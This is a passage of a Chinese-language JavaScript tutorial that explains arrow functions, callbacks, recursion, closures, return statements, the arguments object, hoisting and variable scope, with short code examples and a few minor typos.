class="comment">// 正常函数写法</span></span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>].<span class="title function_">map</span>(<span class="keyword">function</span>(<span class="params">i</span>) &#123; </span><br><span class="line">    <span class="keyword">return</span> i * i;</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 箭头函数写法</span></span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>].<span class="title function_">map</span>(<span class="function"><span class="params">i</span> =&gt;</span> i * i);</span><br></pre></td></tr></table></figure><p>另一个例子是</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 正常函数写法</span></span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">sort</span>(<span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> a - b;</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 箭头函数写法</span></span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">sort</span>(<span class="function">(<span class="params">a, b</span>) =&gt;</span> a - b);</span><br></pre></td></tr></table></figure><p>下面是 rest 参数与箭头函数结合的例子</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">f</span> = (<span class="params">...a</span>) =&gt; a;</span><br><span class="line"></span><br><span class="line"><span class="title function_">f</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>)</span><br><span class="line"><span class="comment">// [1, 2, 3, 4, 5]</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> <span class="title function_">f</span> = (<span class="params">a, ...b</span>) =&gt; [a, b];</span><br><span class="line"></span><br><span class="line"><span class="title function_">fn</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>)</span><br><span class="line"><span class="comment">// [1, [2, 3, 4, 5]]</span></span><br></pre></td></tr></table></figure><p>注意: 函数体内的 this 对象，就是定义时所在的对象，而不是使用时所在的对象</p><p><code>this</code> 对象的指向是可变的，但是在箭头函数中，它是固定的</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">foo</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;id:&#x27;</span>, <span class="variable language_">this</span>.<span class="property">id</span>);</span><br><span class="line">  &#125;, <span class="number">100</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">let</span> id = <span class="number">21</span>;</span><br><span class="line">foo.<span class="title function_">call</span>(&#123; <span class="attr">id</span>: <span class="number">42</span> &#125;);</span><br><span class="line"><span class="comment">// id: 42</span></span><br></pre></td></tr></table></figure><p>上面代码中，setTimeout 的参数是一个箭头函数，这个箭头函数的定义生效是在 foo 函数生成时，而它的真正执行要等到 100 毫秒后。如果是普通函数，执行时 this 应该指向全局对象window，这时应该输出 21。但是，箭头函数导致 this 总是指向函数定义生效时所在的对象（本例是{ id: 42}），所以输出的是 42。</p><h4 id="箭头函数特性"><a href="#箭头函数特性" class="headerlink" title="箭头函数特性"></a>箭头函数特性</h4><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">* 没有 <span class="variable language_">this</span>  <span class="variable language_">super</span>  <span class="variable language_">arguments</span></span><br><span class="line">* 不可以当作构造函数，也就不能通过 <span class="keyword">new</span> 关键字调用</span><br><span class="line">* 没有原型属性 prototype</span><br><span class="line">* 不可以改变 <span class="variable language_">this</span> 指向</span><br><span class="line">* 不支持重复的命名参数</span><br><span class="line"></span><br><span class="line">注意：箭头函数和传统函数一样都有一个 name 属性，这一点是不变的</span><br></pre></td></tr></table></figure><p><strong><code>this指向的固定化，并不是因为箭头函数内部有绑定this的机制，实际原因是箭头函数根本没有自己的this，导致内部的this就是外层代码块的this。正是因为它没有this，所以也就不能用作构造函数</code></strong></p><p><strong>箭头函数没有this，只能从上下文获取this</strong></p><p>箭头函数的<code>this</code>值，取决于函数外部非箭头函数的<code>this</code>值，如果上一层还是箭头函数，那就继续往上找，如果找不到那么<code>this</code>就是<code>Window</code>对象</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> person = &#123;</span><br><span class="line">    <span class="attr">f1</span>: <span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>)</span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="attr">f2</span>: <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="function">() =&gt;</span> &#123; <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>) &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">person.<span class="title function_">f1</span>();  <span class="comment">// Window</span></span><br><span class="line">person.<span class="title function_">f2</span>()();  <span class="comment">// person对象</span></span><br></pre></td></tr></table></figure><p><strong>箭头函数没有arguments对象</strong></p><p>箭头函数也没有<code>arguments</code>对象，但是如果它外层还有一层非箭头函数的话，就会去找外层的非箭头函数的<code>arguments</code>对象，注意：箭头函数找arguments对象只会找外层非箭头函数的函数，如果外层是一个非箭头函数的函数如果它也没有arguments对象也会中断返回，就不会在往外层去找了，如下</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">f1</span> = (<span class="params"></span>) =&gt; <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">arguments</span>);  <span class="comment">// 执行该函数会抛出错误</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">f2</span>(<span class="params">a, b, c</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">arguments</span>); <span class="comment">// [1, 2, 3]</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f2</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>)();</span><br></pre></td></tr></table></figure><p>可以清楚的看到当前的箭头函数没有<code>arguments</code>对象，然而就去它的外层去找非箭头函数的函数。``</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="function">() =&gt;</span> &#123;</span><br><span class="line">            <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">arguments</span>); <span class="comment">// []</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(<span class="number">1</span>)()();</span><br></pre></td></tr></table></figure><p>上面示例中可以看到，里面的箭头函数往外层找非箭头函数的函数，然后不管外层这个函数有没有<code>arguments</code>对象都会返回。只要它是非箭头函数就可以，如果外层是箭头函数还会继续往外层找</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">f</span> = (<span class="params">...a</span>) =&gt; <span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line"><span class="title function_">f</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>); <span class="comment">// [1, 2, 3]</span></span><br></pre></td></tr></table></figure><p><strong>箭头函数不能用<code>new</code>关键字声明</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">Fn</span> = (<span class="params"></span>) =&gt; &#123;&#125;;</span><br><span class="line"><span class="keyword">new</span> <span class="title class_">Fn</span>(); <span class="comment">// 抛出错误，找不到constructor对象</span></span><br></pre></td></tr></table></figure><p><strong>箭头函数没有原型<code>prototype</code></strong></p><p>箭头函数没有原型，有可能面试官会问，<code>JavaScript</code>中所有的函数都有<code>prototype</code>属性吗</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">fn</span> = (<span class="params"></span>) =&gt; &#123;&#125;;</span><br><span class="line">fn.<span class="property"><span class="keyword">prototype</span></span>; <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><p><strong>箭头函数不能改变<code>this</code>指向</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> person = &#123;&#125;;</span><br><span class="line"><span class="keyword">var</span> <span class="title function_">fn</span> = (<span class="params"></span>) =&gt; <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>);</span><br><span class="line"></span><br><span class="line">fn.<span class="title function_">bind</span>(person)(); <span class="comment">// Window (不是person)</span></span><br><span class="line">fn.<span class="title function_">call</span>(person); <span class="comment">// Window (不是person)</span></span><br><span class="line">fn.<span class="title function_">apply</span>(person); <span class="comment">// Window (不是person)</span></span><br></pre></td></tr></table></figure><h4 id="箭头函数和普通函数的区别"><a href="#箭头函数和普通函数的区别" class="headerlink" title="箭头函数和普通函数的区别"></a>箭头函数和普通函数的区别</h4><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">* 相比普通函数, 箭头函数有更简洁的语法</span><br><span class="line">* 箭头函数不绑定 <span class="variable language_">this</span> ，会捕获其所在的上下文的 <span class="variable language_">this</span> 值，作为自己的 <span class="variable language_">this</span> 值</span><br><span class="line">* 箭头函数是匿名函数, 不能作为构造函数，不可以使用 <span class="keyword">new</span> 命令，否则会抛出一个错误</span><br><span class="line">* 箭头函数没有 <span class="variable language_">arguments</span>，取而代之用 rest参数...解决</span><br><span class="line">* 箭头函数的 <span class="variable language_">this</span> 永远指向其上下文的 <span class="variable language_">this</span> ，任何方法都改变不了其指向，如 <span class="title function_">call</span>()、<span class="title function_">bind</span>()、<span class="title function_">apply</span>() ，可以说正是因为没有自己的 <span class="variable language_">this</span></span><br><span class="line">* 箭头函数没有原型属性 prototype</span><br></pre></td></tr></table></figure><h3 id="回调函数"><a href="#回调函数" class="headerlink" title="回调函数"></a>回调函数</h3><p><strong>回调函数</strong>：一个函数被作为参数传递给另一个函数 </p><img src="https://s2.ax1x.com/2020/02/09/1h93mq.png" alt="1h93mq.png" border="0" /> <p><strong>回调函数的基本原理</strong>：使用命名函数或者匿名函数作为回调</p><p> 第一种方法：就是匿名函数作为回调（使用了参数位置定义的匿名函数作为回调函数）</p><p>第二种方式：就是命名函数作为回调（定义一个命名函数并将函数名作为变量传递给函数 </p><p>传递参数给回调函数）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure><p><strong>在执行之前确保回调函数是一个函数</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a, callback</span>)&#123;</span><br><span class="line">    <span class="comment">// 确保callback是一个函数   </span></span><br><span class="line">    <span class="keyword">if</span>(<span class="keyword">typeof</span> callback === <span class="string">&#x27;function&#x27;</span>) &#123;</span><br><span class="line">        <span class="comment">// 调用它，既然我们已经确定了它是可调用的</span></span><br><span class="line">        <span class="title function_">callback</span>(a);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>函数可以作为另一个函数的参数</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> say = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a</span>) &#123;</span><br><span class="line">  <span class="title function_">a</span>();</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(say); <span class="comment">// hello</span></span><br></pre></td></tr></table></figure><p><strong>函数可以作为另一个函数的返回值</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">ex</span>(<span class="params">a</span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> b = <span class="number">3</span>;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(a + b);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> fn = <span class="title function_">ex</span>(<span class="number">2</span>); <span class="comment">//此时返回的是一个函数</span></span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// 5</span></span><br></pre></td></tr></table></figure><h3 id="递归函数"><a href="#递归函数" class="headerlink" title="递归函数"></a>递归函数</h3><blockquote><p>调用自身的函数我们称之为递归函数</p></blockquote><p>在某种意义上说，递归近似于循环。两者都重复执行相同的代码，并且两者都需要一个终止条件（避免无限循环或者无限递归</p><p>一个函数可以指向并调用自身。有三种方法可以达到这个目的</p><ol><li>函数名</li><li><code>arguments.callee</code></li><li>作用域下的一个指向该函数的变量名</li></ol><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">loop</span>(<span class="params">x</span>) &#123;</span><br><span class="line"><span class="keyword">if</span> (x &gt;= <span class="number">10</span>) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(x)</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">loop</span>(x + <span class="number">1</span>); <span class="comment">// 递归调用</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">loop</span>(<span class="number">0</span>); <span class="comment">// 10</span></span><br></pre></td></tr></table></figure><h3 id="嵌套函数"><a href="#嵌套函数" class="headerlink" title="嵌套函数"></a>嵌套函数</h3><p>可以在一个函数里面嵌套另外一个函数。嵌套（内部）函数对其容器（外部）函数是私有的。它自身也形成了一个闭包。一个闭包是一个可以自己拥有独立的环境与变量的表达式（通常是函数）</p><p>既然嵌套函数是一个闭包，就意味着一个嵌套函数可以”继承“容器函数的参数和变量。换句话说，内部函数包含外部函数的作用域。</p><p>可以总结如下：</p><ul><li>内部函数只可以在外部函数中访问。</li><li>内部函数形成了一个闭包：它可以访问外部函数的参数和变量，但是外部函数却不能使用它的参数和变量。</li></ul><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">addSquares</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">function</span> <span class="title function_">square</span>(<span class="params">x</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> x * x;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="title function_">square</span>(a) + <span class="title function_">square</span>(b);</span><br><span class="line">&#125;</span><br><span class="line">a = <span class="title function_">addSquares</span>(<span class="number">2</span>, <span class="number">3</span>); <span class="comment">// 13</span></span><br></pre></td></tr></table></figure><p>由于内部函数形成了闭包，因此你可以调用外部函数并为外部函数和内部函数指定参数</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">outside</span>(<span class="params">x</span>) &#123;</span><br><span class="line">  <span class="keyword">function</span> <span class="title function_">inside</span>(<span class="params">y</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> x + y;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> inside;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">a = <span class="title function_">outside</span>(<span class="number">3</span>)(<span class="number">5</span>); <span class="comment">// 8</span></span><br></pre></td></tr></table></figure><h3 id="return语句"><a href="#return语句" class="headerlink" title="return语句"></a>return语句</h3><p><strong><code>return</code>语句</strong>终止函数的执行，并返回一个指定的值给函数调用者</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">add</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> a + b;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> sum = <span class="title function_">add</span>(<span class="number">1</span>, <span class="number">2</span>);</span><br><span class="line">sum; <span class="comment">// 3</span></span><br></pre></td></tr></table></figure><p>如果省略<code>retrun</code>，则返回<code>undefined</code></p><p>下面的 return 语句都会终止函数的执行</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">return</span>;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"><span class="keyword">return</span> x;</span><br><span class="line"><span class="keyword">return</span> x + y / <span class="number">3</span>;</span><br></pre></td></tr></table></figure><p><code>自动插入分号（ASI）</code> 规则会影响 <code>return</code> 语句。在 <code>return</code> 关键字和被返回的表达式之间不允许使用行终止符。</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">return</span></span><br><span class="line">a + b;</span><br></pre></td></tr></table></figure><p>根据 ASI，被转换为</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">return</span>;</span><br><span class="line">a + b;</span><br></pre></td></tr></table></figure><p>控制台会警告“unreachable code after return statement”</p><p><strong>主要作用</strong></p><p><strong>1.中断一个函数的执行</strong></p><p><strong>2.返回一个函数，关于闭包</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">magic</span>(<span class="params">x</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">function</span> <span class="title function_">calc</span>(<span class="params">x</span>) &#123; <span class="keyword">return</span> x * <span class="number">10</span> &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> answer = <span class="title function_">magic</span>();</span><br><span class="line"><span class="title function_">answer</span>(<span class="number">10</span>); <span class="comment">// 100</span></span><br></pre></td></tr></table></figure><h3 id="arguments-对象"><a href="#arguments-对象" class="headerlink" title="arguments 对象"></a>arguments 对象</h3><p>JavaScript 函数有一个名为 arguments 对象的内置对象</p><p>arguments 对象包含函数调用时使用的参数数组</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">arguments</span>);</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">arguments</span>[<span class="number">0</span>]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(<span class="number">1</span>, <span class="number">2</span>);</span><br><span class="line"><span class="comment">// Arguments(2) [1, 2, callee: ƒ, Symbol(Symbol.iterator): ƒ]</span></span><br><span class="line"><span class="comment">// 1</span></span><br></pre></td></tr></table></figure><h1 id="重点概念"><a href="#重点概念" class="headerlink" title="重点概念"></a>重点概念</h1><p>面向对象：提出需求，找对象，对象解决，注重的是结果</p><p>js不是一门面向对象的语言，是基于对象的语言，js来模拟面向对象<br>面向对象的特性：封装、继承、多态(抽象性)</p><p>1、封装：就是包装，把一些重用的内容进行包装，在需要的时候，直接使用<br>2、继承：类与类之间的关系，js中没有类的概念，js中有构造函数的概念，是可以有继承的，是基于原型<br>3、多态：同一个行为，针对不同的对象，产生了不同的效果</p><h2 id="预解析"><a href="#预解析" class="headerlink" title="预解析"></a>预解析</h2><blockquote><p>预解析：就是在浏览器解析代码之前，把变量的声明和函数的声明提前(提升)到该作用域的最上面</p></blockquote><h3 id="变量的预解析"><a href="#变量的预解析" class="headerlink" title="变量的预解析"></a>变量的预解析</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// undefined</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br></pre></td></tr></table></figure><p>相当于</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// undefined</span></span><br><span class="line">a = <span class="number">10</span>;</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">问：什么情况下的结果是 <span class="literal">undefined</span> ?</span><br><span class="line">答：</span><br><span class="line"><span class="number">1.</span> 变量声明了，没有赋值，结果是 <span class="literal">undefined</span></span><br><span class="line"><span class="number">2.</span> 函数没有明确返回值，如果接收了，结果也是 <span class="literal">undefined</span></span><br><span class="line"><span class="number">3.</span> 使用不存在的对象属性的返回值是 <span class="literal">undefined</span></span><br><span class="line"><span class="number">4.</span> 通过不存在的数组索引访问数组元素结果是 <span class="literal">undefined</span></span><br></pre></td></tr></table></figure><p>1、变量声明了，没有赋值，结果是 undefined</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a；</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a)； <span class="comment">// undefined</span></span><br><span class="line"><span class="comment">// 和函数声明一样，变量的声明也会在一开始就被放入内存中了，但是并没有赋值，所以在它赋值之前，它的值就是undefined</span></span><br></pre></td></tr></table></figure><p>2、函数没有明确返回值，如果接收了，结果也是 undefined</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;&#125;;</span><br><span class="line"><span class="keyword">var</span> a = <span class="title function_">fn</span>();</span><br><span class="line">a; <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><p>3、使用不存在的对象属性的返回值是 undefined</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line">  <span class="attr">name</span>: <span class="string">&#x27;hello&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line">obj.<span class="property">age</span>; <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><p>4、通过不存在的数组索引访问数组元素结果是 undefined</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">3</span>, <span class="number">6</span>, <span class="number">9</span>];</span><br><span class="line">arr[<span class="number">3</span>]; <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><h3 id="函数的预解析"><a href="#函数的预解析" class="headerlink" title="函数的预解析"></a>函数的预解析</h3><p><strong>命名函数可以预解析</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">fn</span>(); <span class="comment">// hello [说明js肯定是在调用函数之前就将函数放入内存中了]</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>匿名函数（函数表达式）不可以预解析</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">f</span>();</span><br><span class="line"><span class="keyword">var</span> f = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// Uncaught TypeError: f is not a function</span></span><br></pre></td></tr></table></figure><p><strong>变量和函数重名</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// ƒ a()&#123;console.log(&#x27;hello&#x27;)&#125;</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">a</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个就说明了，重名时，函数名优先级高于变量名</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">将变量和函数的声明提升到当前作用域的最上边(不包括赋值和调用)</span><br><span class="line">当变量和函数名称相同时，优先函数</span><br></pre></td></tr></table></figure><h2 id="作用域和作用域链"><a href="#作用域和作用域链" class="headerlink" title="作用域和作用域链"></a>作用域和作用域链</h2><h3 id="作用域"><a href="#作用域" class="headerlink" title="作用域"></a>作用域</h3><blockquote><p>变量的作用域无非就是两种：<strong>全局变量</strong>和<strong>局部变量</strong>，指变量的使用范围</p></blockquote><p><strong>全局作用域</strong></p><p>最外层函数定义的变量拥有全局作用域，即对任何内部函数来说，都是可以访问的</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> a;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// 10</span></span><br></pre></td></tr></table></figure><p><strong>局部作用域</strong></p><p><code>函数</code>中定义的变量是<strong>局部变量</strong></p><p>函数内部的变量只能在函数内部使用，不能在函数外部使用</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// Uncaught ReferenceError: a is not defined报错</span></span><br></pre></td></tr></table></figure><p>注意：函数内部声明变量的时候，一定要使用var命令，如果不用的话，你实际上声明了一个全局变量！</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  a = <span class="number">10</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 10</span></span><br></pre></td></tr></table></figure><p>再来看一个代码：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// undefined</span></span><br><span class="line">  <span class="keyword">var</span> a = <span class="number">20</span>;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 20</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>();</span><br></pre></td></tr></table></figure><p>相当于，可参考预解析</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> a; <span class="comment">// 提前声明了局部变量</span></span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// undefined</span></span><br><span class="line">  a = <span class="number">20</span>;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 20</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>();</span><br></pre></td></tr></table></figure><p>只要函数内定义了一个局部变量，函数在解析的时候都会将这个变量<code>提前声明</code></p><p><strong>全局作用域下带var和不带var的区别</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// undefined</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// Uncaught ReferenceError: a is not defined</span></span><br><span class="line">a = <span class="number">10</span>;</span><br></pre></td></tr></table></figure><p>a = 10 相当于给window增加了一个a的属性名，属性值是10<br>var a = 10 相当于给全局作用域增加了一个全局变量a，但是不仅如此，它也相当于给window增加了一个属性名a，属性值是10</p><p><strong>JS中没有块级作用域：一对括号{ }中定义的变量，这个变量可以在大括号外面使用</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">while</span>(<span class="literal">true</span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line">  <span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 10</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="keyword">var</span> a = <span class="number">100</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 100   大括号里面声明的变量外部可以使用</span></span><br></pre></td></tr></table></figure><h3 id="作用域链"><a href="#作用域链" class="headerlink" title="作用域链"></a>作用域链</h3><blockquote><p>作用域链：变量的使用，从里向外，层层的搜索，搜索到了就可以直接使用了</p></blockquote><p>层层搜索，搜索到0级作用域的时候，如果还是没有找到这个变量，结果就是报错</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">f1</span>(<span class="params"></span>) 